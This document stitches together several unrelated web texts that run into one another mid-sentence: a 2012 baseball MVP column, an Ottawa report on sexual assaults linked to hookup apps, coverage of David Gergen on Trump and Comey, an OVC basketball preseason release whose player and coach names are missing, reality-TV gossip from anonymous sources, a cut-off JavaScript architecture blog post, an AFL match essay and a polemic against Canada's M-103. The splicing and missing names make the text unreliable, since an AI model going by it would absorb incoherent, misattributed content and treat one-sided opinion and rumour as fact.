On Aug. 8, 106 games into his season, the great Andrew McCutchen was hitting.370, with a.625 slugging percentage, 1.055 OPS, 23 home runs and 50 extra-base hits. His team was 16 games over.500, leading the second-wild-card race by 3½ games and writing itself one of the best sports scripts of 2012.
Maybe, back then, somebody somewhere could have talked himself (or herself) into believing that someone else was the NL MVP. But there would have to have been some mild sunstroke issues involved.
So what's happened since then? Yikes. Did you have to ask?
Since Aug. 8, in 31 games, McCutchen has hit just.242, slugged only.347, run up a wobbly.680 OPS and produced a mere three home runs and seven extra-base hits in 124 at-bats. And ohbytheway, in a related development, his team hasn't exactly been the '98 Yankees since then, either. In fact, the once-surging Pirates have gone 9-23 since that day, a worse record than (gasp) the Astros (9-22).
So how much of Pittsburgh's fall is tied to his fall? Way too much of it, unfortunately -- because he's that important to who and what they are.
"He hasn't gotten the same pitches to hit in the second half, but some of that is his fault because he's chasing," said one NL scout. "He's only hitting now when nobody's on base, because he's changed his swing with people on base. He's pulling off. He's lacked discipline. He's extended his strike zone. There's just no reason to throw him fastballs early in the count because he's swinging at the slider, he's swinging at the changeup, he's swinging at the curveball, and he's making easy outs. And that's not what he was doing early."
Astounding Facts of the Week
The Nationals are hitting new heights, Wilin Rosario is hitting new lows and the equally amazing A's and Astros.
Blog »
Nevertheless, it's time for this important announcement: This race isn't over. And this season isn't over. If you view the season as one giant entity, rather than one of those convenient, "The MVP needs a huge second half" storylines, it's remarkably easy to argue that McCutchen should still win this award.
He still leads the league in wins above replacement and runs created per game. He's ahead of Posey in the batting race (.340), in slugging (.559), in OPS (.965) and in home runs (26). And he's doing all this without a lot of help, for a team whose season has taken on gargantuan importance, unless you think making the postseason and finishing over.500 for the first time in 20 years are overrated (which they're not).
But what voters have to decide for themselves is this pivotal question: What is an MVP? And traditionally, the voters in this election have decided it's a guy who lifts his team when it most needs lifting, not a guy whose numbers look pretty but who couldn't rise to meet the season's biggest moments down the stretch.
"Let me ask you this," said one scout. "If the Pirates wind up finishing in third or fourth place, could they have finished in third or fourth place without Andrew McCutchen? I think you know the answer. But would the Giants have won their division without Buster Posey? And are Buster Posey's numbers MVP-worthy? If you say no to the first question and yes to the second, then you've answered your own question."
Ryan Braun leads the NL in home runs (38) and is second in RBIs (100). Mike McGinnis/Getty Images
Ryan Braun
My odds: 50-to-1
His numbers are virtually identical to last year's numbers, except that he's on pace to hit 10 more home runs (yep, 10). His team is roaring back from the crypt. And this time around, he has no Prince Fielder to hit behind him.
So if you read only that paragraph above, it would be kind of clear that Ryan Braun's MVP credentials are slightly more impressive than, say, Jason Bay's. Right?
Except you know and I know that the Ryan Braun MVP debate isn't going to revolve around any of that. Of course it isn't!
Sadly, it's going to center around one issue, and one issue only: A positive drug test from last October that was later overturned, because of what a since-fired arbitrator ruled to be an "invalid" collection of his urine sample.
So what are we, the voters, supposed to make of this, huh?
The easy way out is to say, "The bum's a cheater, so nobody should ever honor him for anything ever again." And you can bet your autographed picture of Shyam Das there are going to be voters who think that way.
I'm just not one of them.
Let's think this through, as slowly, logically and rationally as possible. Try it, OK? You can do it.
First off, this man was judged, by the proper legal authorities, to be not guilty. That's supposed to matter in the America I grew up in.
Second, we have a frustratingly incomplete set of facts to help us understand exactly why he tested positive and why his suspension was overturned. And that's not getting cleared up in the next three weeks -- or, most likely, the next three centuries.
Third, this was supposed to be a confidential process. So if this news hadn't leaked (to ESPN), we wouldn't have any facts, because we never would have known he tested positive in the first place.
Now seriously, given all that, is there really enough basis for rational voters to completely dismiss this man's candidacy? There shouldn't be. But good luck on that.
So what are we supposed to make of the murmurs, from people tight with Braun, that if we knew "the real story," we'd have a different view? Who knows?
And what are we supposed to make of Braun's repeated insistence that the reason he won his case wasn't because of a technicality, but because "I didn't do it"? Who knows on that front, either.
Back in July, at an on-the-record Q-and-A between union chief Michael Weiner and the Baseball Writers Association of America, Weiner was asked if the arbitrator's decision did, in fact, prove that Braun "didn't do it." His response back then:
"What we proved was that this was not a valid collection, and therefore the collection had to be thrown out. And the case did not proceed to questions beyond that. So I'm not going to differ with Ryan Braun, whom I have a very strong relationship with and still do, or his characterization of it. But the case was about whether it was a valid collection. It was deemed to be an invalid collection, and that was the basis for overturning it."
In other words, as usual, for those of us who have to vote, all of this remains open to interpretation -- with minimal facts to help us interpret it. Great.
So this week, I asked Bill Shaikin, president of the Baseball Writers Association, if the BBWAA would issue any guidelines to voters about how to handle Braun's MVP case. On behalf of the organization, he declined comment.
And there you have it. We're officially on our own. But let's remember we do have at least one known fact to weigh: Braun's positive test didn't happen this season. So why would it be any more sensible to use it as a reason not to vote for him this year than, say, Josh Hamilton's past transgressions or Miguel Cabrera's 2011 DUI arrest?
After all, this isn't a Hall of Fame vote, where we're assessing Braun's entire career. We're supposed to be judging how his season fits into the MVP discussion in 2012. And (A) he wasn't suspended, and (B) given the scrutiny he's been under, you could make a case that his fabulous 2012 season proves he never "cheated" himself to greatness in the first place. Couldn't you?
But in a world where people believe what they want to believe, and feel a need to make moral statements on behalf of the planet, only one thing is certain: Ryan Braun can't win. Can't.
I'd bet at least one-third of this year's MVP voters don't give him even a top-10 vote. And that will be that. And you know what? If that happens, it won't just be the ban-'em-all-for-life crowd that cheers. So will people who work in this sport. Some of them.
One last story: As I was working on this column, I asked one of the scouts quoted earlier which player he thought was the National League MVP. His answer said it all.
"Anybody," he said, "but Ryan Braun."Capital Pride and the GLBT Ottawa police liaison committee are teaming up to respond to a series of sexual assaults involving men who met on hookup apps.
Mauricio Olivares, Capital Pride’s newly-hired festival producer, attended a committee meeting on April 20 to discuss recent sexual assaults targeting male victims. In the past two months, at least four men have been sexually assaulted after meeting anonymously online, Olivares said. Additionally, one man was sexually assaulted after leaving a bar in downtown Ottawa, he said.
“I know of at least five cases in the last two months,” he said. “From what we’ve discussed with other people and other community members, we realize the number is actually much higher than that.”
Olivares said he spoke directly to two of the victims and heard about the other three incidents from community members. By collaborating with the liaison committee and local agencies, it’s important to rally the community so that survivors know they’re not alone and they can access local resources whether they report the assault or not, Olivares said.
“In our community we have a lot of members who are ashamed,” he said. “They are embarrassed and they don’t want to come forward and actually present charges with police because they don’t want to eventually come in front of a judge and have to go over this.”
As hookup apps and dating websites have become more popular, perpetrators are using the cloak of anonymity to victimize others, Olivares said.
“Since the electronic apps and other technologies have become available, a lot of people believe that confidentiality and anonymity give them a shield and a pass to do whatever they want,” he said.
Inspector John McGetrick, the police co-chair of the liaison committee, said he’s “concerned, but not surprised” by the sexual assaults. As with the physical assaults targeting LGBT people that Daily Xtra reported in March, it’s important that people who experience violence know they have options, he said.
“We want to help, but the police will never, ever force someone to proceed with a sex assault investigation,” McGetrick said. “The ball’s in their court. They can come tell us about it to whatever degree they want, talk about it... Believe me, we like catching people who do terrible things, so if they want to come chat with us we’re there to help.”
If you’ve been sexually assaulted, you can access support through the Victim Crisis Unit, he said, adding he is available to talk to anyone one-on-one about their options.
“They can also file a report and just have a report and nothing else,” McGetrick said. “We don’t have to action it. That can be helpful just for our information purposes.”
Olivares said he wants to launch an anti-abuse education campaign during Pride, both to prevent sexual violence and to make people aware of community resources. With more than 100,000 people coming together to celebrate, Pride becomes an ideal opportunity to raise awareness of sexual assault and let survivors know that the community supports them, he said.
At the next GLBT liaison committee meeting on May 25, Olivares said he’ll present his ideas for Pride’s anti-abuse campaign to get the committee’s feedback. In the interim, Gary Leger, the committee’s community co-chair, said he will reach out to local agencies to gauge interest in working collaboratively to raise awareness. Olivares and Leger said Capital Pride and the liaison committee want to decrease sexual violence and stigma in the LGBT community.
“We’re at that critical stage where people are very hesitant to report, but we’re also at a very informative stage where people have finally taken notice and are saying this is going on and it’s going on in my backyard,” Leger said.Mr Gergen, who served as an adviser for four US Presidents including Richard Nixon and Bill Clinton, said it appears Mr Trump was intentionally attempting to influence the course of the FBI probe. Speaking on CNN, Mr Gergen said: “I was in the Nixon administration and I thought after watching the Clinton impeachment that I’d never see another one, but I think we’re in impeachment territory now.
GETTY/CNN Mr Gergen suggested Trump's presidency 'is starting to come apart'
“Obstruction of justice was the number one charge against Nixon that brought him down, obstruction of justice was the number one charge against Bill Clinton, which led to his indictment in the House that he won in the Senate.” He added: “I cannot tell you if it meets all the legal definitions but from a lay point of view, it looks like he was trying to impede the investigation. “He was using his power to do that and when James Comey didn’t go along with him… he fired him, which I think is also relevant to the question of what he was trying to do.
Donald Trump's most memorable tweets as president Fri, April 21, 2017 Donald Trump's most memorable tweets since elected as President of the United States Play slideshow REUTERS 1 of 22 Donald Trump tweets his way through presidency
I cannot tell you if it meets all the legal definitions but from a lay point of view, it looks like he was trying to impede the investigation David Gergen
“This is of enormous consequence for his presidency - if you look at the three bombshells we’ve had: the Comey firing last week, then the sharing of this highly classified information with the Russians of all people, and now telling Comey to drop the case - what we see is a presidency that’s starting to come apart.” On Tuesday, the New York Times reported that President Trump asked Mr Comey to end an investigation into alleged ties between former national security adviser Michael Flynn and Russia.
GETTY Mr Gergen (R) alongside President Clinton in 1993
The US President allegedly told Mr Comey, “I hope you can let this go”, according to two sources who spoke to the New York Times. An associate of Mr Comey, who has seen the memo, reportedly said that the details of the document were accurate.
GETTY FBI Director James Comey was sensationally sacked last week
The memo, which was reportedly written by the former FBI director himself, was created after a meeting between Mr Comey and the US President in February. The White House quickly responded to the news by issuing a statement, denying that the President had told Mr Comey to drop his investigation while acknowledging a “conversation” had happened between the pair. The statement said: “While the President has repeatedly expressed his view that General Flynn is a decent man who served and protected our country, the President has never asked Mr Comey or anyone else to end any investigation, including any investigation involving General Flynn.2016-17 Preseason OVC Men’s Basketball Predicted Order of Finish
East Division
West Division
2016-17 All-OVC Preseason Men’s Basketball Team
2016-17 Preseason All-OVC Men’s Basketball Team
- In a vote of Ohio Valley Conference head men’s basketball coaches and sports information directorshas been picked the preseason favorite for the 2016-17 season. It marks the second-straight year the Bruins have been tabbed preseason favorites.Belmont, who has won three of the past four OVC regular season championships, picked up 16 of 24 first-place votes in being picked the preseason favorites as overall regular season champions. The Bruins were also tabbed the East Division favorites, picking up 16 of 24 first-place votes in that category, whilewas picked the West Division favorites.In the overall champion voting, in addition to Belmont picking up 16 first-place votes, other teams with first-place votes included(6),(1) and(1). All the teams who received an overall first-place vote came from the East Division.Since Belmont was picked as the overall champion, they were also an overwhelming favorite to take first place in its own division; the Bruins have finished first in the East in each of the first four years of divisional play. Belmont received 126 total points to top the East and were followed by Tennessee State (6 first-place votes and 106 points), Morehead State (1 first-place vote, 98 points),(62 points), Eastern Kentucky (1 first-place vote, 60 points) and(40).picked up 21 of 24 first-place votes and 131 points to be picked the West Division favorites. The Racers have finished at the top of the West Division in each of the first four years of divisional play.was picked second (95 points) and followed by defending tournament champion(2 first-place votes, 88 points),(1 first-place vote, 82 points),(54) and(42).Belmont has compiled a 51-13 record in OVC play since joining the OVC prior to the 2012-13 season including winning three OVC regular season championships. Last year the Bruins were 12-4 in Conference action but were upset in overtime in the OVC Tournament semifinals and went on represent the OVC in the National Invitation Tournament (NIT). Belmont lost just one contributor and returns 12 players from a season ago including reigning OVC Player of the Yearwho was named OVC Preseason Player of the Year this season. The senior has led Division I in field goal percentage each of the past two seasons including hitting 71.4 percent (210-of-294) from the field a season ago while averaging 17.6 points and 9.2 rebounds/game. Also returning is senior guard, who was also tabbed a Preseason All-OVC pick this year, who connected on 74 3-pointers a season ago. Also back is junior forward(9.0 points, 3.4 rebounds/game) and junior guard(15th nationally in assists last year at 6.3/game). Head coachbegins his 31st season as Belmont’s head coach and is one of just six active Division I coaches to have to be with the same program for 25 or more years; his 731 career victories rank him sixth among active DI head coaches.Entering last season Tennessee State was picked to finish last in the OVC after winning just five games the prior season. But head coachexceeded all expectations in tying the program’s all-time Division I record with 20 victories; the 15-win improvement was second among all Division I schools during 2015-16. Now entering his third year on the TSU bench, Ford (last year’s OVC Coach of the Year) has nine players back from that team including last year’s OVC Defensive Player of the Year. McCall ranked ninth nationally in steals at 2.32/game while adding 14.6 points (12th in the OVC) and 3.0 assists/game (13th in the OVC). McCall was named to the Preseason All-OVC team along with senior forwardwho ranked third in the OVC with 10 double-doubles a season ago. Martin started 18 of 30 games and averaged 11.1 points and 9.1 rebounds/game (third in the OVC). The Tigers also welcome seven newcomers including Georgia Tech transferand Binghamton transferMorehead State became just the second team in OVC history to play a game in the month of April a season ago when they advanced to the Best-of-Three Championship Series of the College Basketball Invitational (CBI). The Eagles topped Nevada at home in the first game of the series before dropping the final two games on the Wolfpack’s home court. MSU won 23 overall games a season ago including finishing with an 11-5 Conference mark, just one game out of first place. The Eagles were successful with a balanced attack that saw eight players average between 11.0 and 5.4 points/game. This season 10 players return for head coachincluding two starters (and) while the program welcomes five newcomers. Moon, a senior guard, was tabbed a Preseason All-OVC selection after averaging 10.2 points/game (third on the team) and connecting on 47.5 percent of his field goal attempts and 41.2 percent of his 3-point attempts. Marrero, a senior forward, led the team with 7.2 rebounds/game while also netting 40 steals and blocking 24 shots.Last season Tennessee Tech finished just one game behind Belmont for the best record in the OVC, going 11-5 in Conference play. The Golden Eagles won 19 overall games and competed in the inaugural Vegas 16 Invitational. This season head coachreturns seven players while infusing a talented group of newcomers and transfers including fifth-year seniorwho transferred from Tulane. Among the returning players is junior guard, a Preseason All-OVC selection. Jugovic averaged 12.1 points and 2.9 assists/game a season ago and knocked down 71 trifectas in 31 games. Also returning is senior guardwho averaged 9.9 points/game and canned 59 3-pointers coming off the bench.Eastern Kentucky came up one game short of making the OVC Tournament field infirst season as head coach. McHale installed an up-tempo style for the program, seeing the Colonels rank 18th nationally in scoring (80.5 points/game) including hitting the century mark three times during the campaign. EKU was also efficient in shooting and was the only OVC team to rank in the top three in the Conference in 3-point percentage (39.5%, 1st), field goal percentage (49.1%, 2nd) and free throw percentage (73.0%, 3rd). This season the Colonels return six players and welcome 10 newcomers to the roster. The top returnee is sophomore forwardwho earned OVC Freshman of the Year and first-team All-OVC honors after a fantastic debut season. Mayo ranked 18th nationally in field goal percentage (60.7%) and was the top freshman scorer in the league (14.5 points/game); he also ranked sixth in the OVC in blocked shots (1.1/game) and seventh in free throw percentage (80.2%).begins his first season as head coach at Jacksonville State after compiling 431 victories in 17 years as a collegiate head coach, most recently at Western Kentucky. Harper has also won four national championships during his career, two at the Division II level and two in the NAIA. Harper inherits a team that returns three starters including junior guard. Drumwright led the Gamecocks in scoring (14.0 points/game, 15th in the OVC) while dishing out 92 assists (sixth in the OVC) and knocking down 31 3-pointers. The junior was also seventh in the league in assist-to-turnover ratio (1.6) and scored 30 points in a game against Jacksonville University in December.A season ago Murray State finished tied with UT Martin atop the West Division, but after tiebreakers earned the No. 6 seed for the OVC Tournament, the first time in six years of the current format the Racers did not receive either the No. 1 or No. 2 seed and double bye to the semifinals. MSU topped Eastern Illinois in the first round before falling to Morehead State. Overall Murray State recorded its 29th-straight winning season, a streak that is tied for fourth longest in Division I behind only Syracuse, Kansas and Arizona. This season second-year head coachreturns four players, including three who were starters last year. Among the returning players is Preseason All-OVC selectionwho ranked 22nd nationally in free throw percentage (87.1%) in his debut season with the Racers. The point guard was fifth in the OVC in assists (4.2/game) while also adding 12.7 points/game in 31 contests. Also back is senior guard(9.6 points, 4.5 rebounds/game) and senior guard(9.0 points, 4.7 rebounds and 2.3 assists/game).Eastern Illinois made its fourth-straight OVC Tournament appearance under head coachlast year and is one of just four OVC teams to appear in the event in each of those years. The Panthers were 9-7 in OVC play for the second-straight season, marking its first back-to-back Conference winning seasons since 1999-00 and 2000-01. This season EIU has four starters returning including Preseason All-OVC selection. The 5’7 junior guard ranked 11th nationally in minutes played (37:42/game), 22nd in assist-to-turnover ratio (2.95) and 28th in assists (5.7/game) in directing the team’s offensive attack. In two seasons with the program Johnston had dished out 327 total assists (already third in EIU history) while knocking down 119 trifectas (9th in EIU history). Also back is senior guardwho was second on the team in scoring at 12.1 points/game in 2015-16.Austin Peay made history a season ago when they became the first No. 8 seed to win the OVC Tournament, knocking off four teams in four days to win its fifth OVC Tournament Championship and first since 2008. The team did graduate OVC Tournament MVP Chris Horton (he averaged 22.5 points and 14.0 rebounds during the team’s tournament run) but returners 10 players and three starters this season. Among the returning players is junior guardwho ranked sixth in the OVC in scoring at 16.9 points/game while also adding 3.1 rebounds, 2.6 assists and 1.0 steals/game and hitting 83.4 percent from the free throw stripe. He will be joined in the backcourt by sophomorewho averaged 16.8 points/game and knocked down a record 19 3-pointers in four OVC Tournament games (after hitting just 33 3-pointers in 31 regular season contests). Head coacha five-time OVC Coach of the Year selection and winningest coach in OVC history, returns for his 27th season with the Govs; he is one of six active Division I coaches to be with his program for 25 or more years.UT Martin advanced to the OVC Tournament Championship game for the first time last season after finishing tied for first in the OVC West Division with a 10-6 mark. This season the Skyhawks are under the direction of first-year head coachwho spent the previous two seasons as the program’s associate head coach (a span that saw the team win 41 total games, the most wins in the school’s history over a two-year period). The team lost its top three scorers from last season but does return senior guardwho averaged 10.8 points/game and knocked down 65 3-pointers mainly coming off the bench, as well as senior forwardwho averaged 8.2 points and a team-high 7.1 rebounds/game.In its first season under head coach, SIUE won its highest number of road games since 2011-12 in addition to topping sister school Southern Illinois for the first time ever. This season Harris has eight players returning including the backcourt of seniorand sophomore, each of who started all 28 team games a season ago. Eslik led the Cougars in scoring at 14.0 points/game including scoring an OVC single-game high of 40 points against Morehead State in January. Anderson chipped in with 10.3 points and 4.7 rebounds/game.Southeast Missouri State returns four starters from last season which wasfirst with the program. Among the returning players is senior guardwho has started 76 games over the past three seasons. A year ago he ranked fifth in the OVC in steals (1.6/game), ninth in rebounding (6.6/game) and 10th in scoring (15.2 points/game). Cleveland also added 61 assists and 15 blocked shots while hitting 43.7 percent from the field. Also returning is senior forwardwho averaged 10.5 points and 5.9 rebounds/game while hitting 50 percent from the field.The 2016-17 season kicks off with an exhibition contest on October 28 while the first regular season games will be played on Friday, November 11. The 2017 Ohio Valley Conference Tournament will be held March 1-4 at Municipal Auditorium in Nashville, Tennessee.Belmont (16 first-place votes)Other Teams Receiving Overall First-Place Votes: Tennessee State (6), Eastern Kentucky (1), Morehead State (1)1. Belmont (16 first-place votes) – 126 points2. Tennessee State (6) - 1063. Morehead State (1) - 984. Tennessee Tech - 625. Eastern Kentucky (1) - 606. Jacksonville State - 401. Murray State (21 first-place votes) – 131 points2. Eastern Illinois - 953. Austin Peay (2) - 884. UT Martin (1) - 825. SIUE - 546. Southeast Missouri – 42The 2016-17 OVC Preseason Men’s Basketball Team is headlined by Belmont seniorwho was named the OVC Preseason Player of the Year.Bradds, the 2015-16 OVC Player of the Year, is the second-straight Belmont player tabbed Preseason Player of the Year (following Craig Bradshaw a year ago).Overall nine different schools were represented on the team with Belmont and Tennessee State having two selections apiece and Austin Peay, Eastern Illinois, Eastern Kentucky, Morehead State, Murray State, Southeast Missouri and Tennessee Tech having one pick apiece. The squad features four players who were either first or second-team selections last season. The team is comprised of seven seniors, three juniors and a sophomore.Bradds led Belmont to a 12-4 Conference mark a season ago while leading Division I with a 71.4 percent field goal percentage (210-of-294). He also averaged 17.6 points (fourth in the OVC) and 9.2 rebounds (second in the OVC) and dished out 70 assists.The other returning All-OVC selections from a year ago include OVC Defensive Player of the Year(9th nationally with 2.32 steals/game plus 14.6 points/game) from Tennessee State, OVC Freshman of the Year(14.5 points, 4.9 rebounds/game, 60.7 FG%) from Eastern Kentucky and Austin Peay junior guard(16.9 points, 2.6 assists/game, 83.4 FT%).The Preseason All-OVC Team is rounded out by Belmont senior guard(10.6 points/game, 74 made 3-pointers), Southeast Missouri senior guard(15.2 points, 6.6 rebounds, 2.3 assists, 1.6 steals/game), Eastern Illinois junior guard(11.0 points, 5.7 assists/game), Murray State senior guard(12.7 points, 4.0 rebounds, 4.2 assists/game), Tennessee Tech junior guard(12.1 points, 2.9 assists/game, 71 made 3-pointers), Tennessee State senior forward(11.1 points, 9.1 rebounds/game) and Morehead State senior guard(10.2 points, 2.6 rebounds/game).Taylor Barnette, BelmontEvan Bradds, BelmontAntonius Cleveland, Southeast MissouriCornell Johnston, Eastern IllinoisBryce Jones, Murray StateAleksa Jugovic, Tennessee TechWayne Martin, Tennessee StateNick Mayo, Eastern KentuckyTahjere McCall, Tennessee StateXavier Moon, Morehead StateJosh Robinson, Austin PeayEvan Bradds, BelmontNext week we get to see part one of the three part RHOC reunion special and according to a new report, Vicki Gunvalson’s ex-boyfriend Brooks Ayers turned on her during his interview with Andy Cohen!
“Portions of Brooks’ interview with Andy Cohen were played, so the cast could react,” a source explained. “And he called Vicki a liar and manipulator! Vicki couldn’t believe that Brooks turned his cancer storyline on her and threw her under the bus.”
“Brooks was horrible to Vicki and she was absolutely gobsmacked by it,” the source revealed. “Never in her wildest dreams did she think that Brooks would turn on her.”
But it wasn’t only Brooks who came after Gunvalson… “Tamra accused Vicki of lying for Brooks about the cancer diagnosis,” the source told RadarOnline. “Vicki broke down in tears at the accusation. Then Shannon and Vicki continued to fight, and the rest of the cast joined in. Vicki felt attacked and was adamant she never lied for Brooks.”
The source also revealed that Ayers didn’t provide any medical records to Cohen verifying the cancer diagnosis, so questions are likely to remain unanswered after the reunion special.
The source said that at the end of the filming for the reunion, Cohen asked the women if they would return for another season and “Vicki said that She didn’t want to return.”
Photo Credit: BravoFlux inside Web Workers
Narendra Sisodiya Blocked Unblock Follow Following Jul 29, 2015
Before we can learn Flux inside Web Workers, we need to understand DOM-Less JavaScript.
Lets start with some Problems.
Problem 1 : Unable to Scale JavaScript Codebase
If you have written approx 50-100K lines of code at frontend then you can easily understand that “Ease of Adding a new Module/Modify Existing Module” decreases as our codebase size increases.
Sometimes, We apply lots of hack or quick dirty solutions. Many times we are unable to deliver proper solution. Over the time, our frontend repo become a “MESS”. I have seen many such projects.
Do we have any architectural pattern which can help in scaling JavaScript Codebase?
Problem 2 : UI Revamps
Frontend team are asked to deliver some “UI pages”. Team focus more on UI behaviour. So we get biased. Our whole architecture/design is highly influenced by the UI interaction and UI behaviour. But the problem is UI changes over the time.
Our beloved manager try to bring UI changes again and again. Sometimes they decide to revamp whole page. Many times they ask for very small changes but coding effort for those small changes are huge because of “Architecture” or more preciously “Architecture defects.”
How can we have a system where can we perform rapid UI Revamps?
Problem 3: DOM is EVIL
Because we can call $(“#…”) or document.getElementById(“…”) from anywhere inside the codebase, we produce a highly coupled code
for example
In order to fix something urgently, developer tends to write such ugly code. In the above codebase, developer is trying to calculate SUM of a column of a table.
You can see, developer is iterating over a column of a table. taking column values from DOM. Because it is a currency related column, we are removing “$” from extracted value. You can see why this kind of code sucks. This non maintainable. It has lots of hardcoding. It is violating large number of good practices.
How we can avoid such code?
Solution
Linux philosophy
Write programs that do one thing and do it well
we can operate whole Linux Operating System using command line interface (CLI). we can use all utility code from command line. GUI are build on top of these command lines Utils.
This is the exact same philosophy we need to have in Frontend Development too.
If we can have this kind of separation than our life will be easy.
We can have this kind of separation in Frontend too.
HOW?
DOMi vs DOMless
Our frontend Code basically do 2 jobs for us.
It do DOM Manipulation It process our Data, take data from server, send to server, do other business logic.
Now we can visualise Front-end Code with a different angle.
Irrespective of you are using Backbone or React or Angular or plain JavaScript, you can always visualise/divide Frontend Code into following 2 Layers.
DOMi — This is the UI Layer. Any line of code which deals with DOM Manipulation, DOM Events etc.
DOM-less — This is the Business Layer. Any line of code which is not DOMi.
Every line of codebase is either belongs to DOMi or DOM-less. We cannot scale JavaScript code a lot because we produce a highly coupled code.
Can you check any codebase and try to classify that which line of code belongs to DOMi and which line of code belongs to DOMless.
I have seen lots of projects which mix these two layers. In many projects, we can see lots of Business |
from these celeb chefs, head on over to the (Accidentally) Vegan Youtube Channel and check out their blog.Offence is bedazzling, defence is heart-warming.
The resounding memory of last Friday night’s Sydney v Adelaide clash will invariably be Lance Franklin’s goal, but the game itself was defined by Sydney’s defenders. Franklin’s run and finish were an exclamation point, but the Swans’ resolute defence filled the game’s paragraphs.
By the fourth quarter, it became clear that the best game of the season was going to be an endurance test. The Crows were majestic – they extracted the ball from tight spaces, gave impossibly quick 2016 Bulldogs-type handballs, burst into space and then used the competition’s most lethal foot skills to accelerate forward. They played unstoppable football, and Sydney were tasked with stopping it.
After a point sometime early in the second half, it became apparent that Sydney was not going to be able to control the arm-wrestle anymore. They were going to have to hold steady at a disadvantage, refuse to tap out, and then wait for a cramp. Or, as it were, a 50-metre penalty.
The Adelaide onslaught was relentless but they never knocked Sydney out. They bloodied them red, the Bloods, but they couldn’t put them on the mat.
A defender needs two skills to live: toughness and composure. Heath Grundy and Dane Rampe are the heart of the Sydney defence, brutal, unrelenting animals in the air, patient surgeons on the ground. They attack the contest at full flight and might, they play the calculated percentages when the ball is in dispute at ground level, and with ball in hand their movements are dictated by what the best decision available is. There are no preconceived ideas – there are only impossibly quick assessments of the situation and then executions of the best possible play.
They are inspired, and the inspiration is contagious. Callum Mills is a marvel, a less primal, less part-time cage-fighter version of Luke Hodge, with a sublime ability to read the play and intercept mark, and then incredible skills to launch counter-attacks. He has height and an athletic burst that has always eluded Jarrad McVeigh, but he also possesses McVeigh’s football nous and serenity.
Zak Jones has a bit more cage-fighter in him, and ‘serenity’ is not a word one would use to describe a player whose reality is best typed ZAK. But Jones, as infuriating as he can be, gives the Sydney defence a healthy violence and dynamism, and the force he plays with was instrumental in giving Sydney the lead in the first half, and wrestling it back at the death.
Nick Smith’s reliability is the stuff of grinning cliché, and Lewis Melican might be headed down the same path. All these Swans, they just do the right thing.
The connectivity of the defence has always been the team’s identity – more than the supernova talents in the forward line, more even than the game’s best midfield.
It is, after all, not necessarily the players who aggressively make things go right for your team that fans treasure the most – it’s the players who stop things from going wrong.In late March, Canada’s federal government decisively passed a controversial Liberal-backed motion “condemning Islamophobia and all forms of systemic racism and religious discrimination.” This motion, coined M-103, purports to “quell the increasing climate of hate and fear” in the country, yet neglects to define the broad terminology behind this supposed hatred. Nonetheless, the House of Commons approved M-103 by a staggering 201 votes against an opposition’s measly 91.
The motion was introduced in the wake of the Quebec mosque attack, which resulted in the deaths of six Muslims by a Dylann Roof-styled gunman. While the brazen event was horrific in itself and the alleged shooter has been duly brought to justice, Justin Trudeau and his sitting Liberals refused to let this crisis go to waste.
The feminist Prime Minister assured the citizenry to “make no mistake, this was an act of terror”, even though no charges of terrorism were laid against the assailant. Soon after, M-103, which had been tabled by Liberal MP Iqra Khalid last fall, entered the fold of parliamentary debate. Backing the motion was a petition of seventy thousand signatures postulating that “extremist individuals do not represent the religion of Islam”.
On the glossiest of surfaces and without a moment of faint scrutiny, the motion seems perfectly reasonable. A horrible attack occurred against a religious group, so the government wants to investigate the potential rise in hate crimes against that group to determine if there is a pattern of bigotry against that group to, finally, promote the rights of said group.
But that is where any justification for this motion ends. Digging deeper, you immediately detect careless flaws in the motion, such as: What does it define as “Islamophobia” and how do you determine “all forms” of it and systemic racism without a comprehensive definition? Why prioritize the term “Islamophobia” and not other types of “religious discrimination”, especially when, as of 2016, most hate crimes in Canada are anti-Semitic in nature?
Why compel a committee to “contextualize hate crime reports” when the motion is already convinced of “an increasing climate of hate and fear” in the country? If hate crimes are on the rise (and without assuming many of them are hoaxes), what does the motion intend to solve when the Criminal Code already legislates against “public incitement of hatred” and the Canadian Human Rights Act prohibits such discrimination?
The reason: there is none. Like with Bill C-16 (the gender pronouns piece of legislation), M-103 uses vaguely defined verbiage that gets votes in parliament by seeming to uphold a protected group’s civil rights, while embellishing their victimhood in the whole of Canadian society. While not a proposed law, M-103 is undoubtedly an attempt to legitimize “Islamophobia” through gathering government-backed data on hate crimes in an effort to influence future public policies.
Beyond the politics, M-103 is also an apparent effort to mainstream “Islamophobia” into the culture—to not only legitimize the term for political impetus but for censuring public and private conversations on the hot and deeply relevant topic of Islamic extremism.
The nebulousness of “Islamophobia” purposely makes it a catch-all term for ideologues to apply impulsively as a silencing tactic against both informed and uninformed dissent. As University of Toronto Professor Jordan B. Peterson observed, “manipulation is built into its structure” (or lack of structure, really). “Islamophobia” is only “defined” according to its utility, which is to say its meaning is produced from the intent of its usage. It means whatever its spokesperson says it means.
Loading...
We know this to be true based on the phrase’s arbitrary etymology: Islam is a religious doctrine; whereas, phobia is an actual anxiety disorder based on an irrational fear of something. For the two to correlate, all fear of Islam would have to be irrational and all of one’s criticisms of Islam would have to be motivated by that type of fear. Ultimately, “Islamophobia” is a postmodern, Orwellian definition that scrambles and distorts proper language use for political gain, which explains why the term collapses under basic rational examination.
Unlike agoraphobia or social phobias, “Islamophobia” has no prescribed treatment or method of self-help offered at diagnoses. According to M-103, the solution should be complete condemnation of the ailment; in Islamic theocracies like Pakistan, Saudi Arabia, and Iran, “Islamophobia” comes in the form of blasphemy laws, where criticism of Islam or other recognized religions of the state result in penalties ranging from monetary fines to death.
Left-leaning publications Huff Post and Vice predictably dismissed this resemblance to theocratic blasphemy laws as a right-wing “attack” and “conspiracy theory” on the motion, emphasizing that M-103 is not a bill and bears no relationship to blasphemy laws or any form of Sharia.
However, none of these outlets mentioned that Canada already has a blasphemy law, one derived from English common law. Section 296 of the Criminal Code defines a “blasphemous libel” as “an indictable offence and liable to imprisonment for a term not exceeding two years”. This law includes a provision excluding published opinions on a religion that are “used in good faith and conveyed in decent language”.
But “libel” is not actionable toward an accused’s temperament of speech, but toward a false claim. Since Section 296 fails to define “blasphemous libel”, is it then legal to make a false claim about a religion calmly, but illegal to make a truthful claim angrily? Is it even possible to lie about someone or something’s character in good faith?
The danger here is that M-103 is a critically vague motion on religious discrimination that alludes to an equally vague blasphemy law that is currently a part of Canada’s legal code. Sure, few Canadians like M-103, but how far will their voices be heard?
With political correctness infesting the Canadian legislature, Islam creeping into its public schools, and the contemporary Islamification of Canada’s European counterparts, what is to say—with enough cultural accommodation and political capitulation—a blasphemy law targeting “Islamophobia” could come to pass, or an amendment to Section 296 that includes “Islamophobia” as grounds for prosecution.
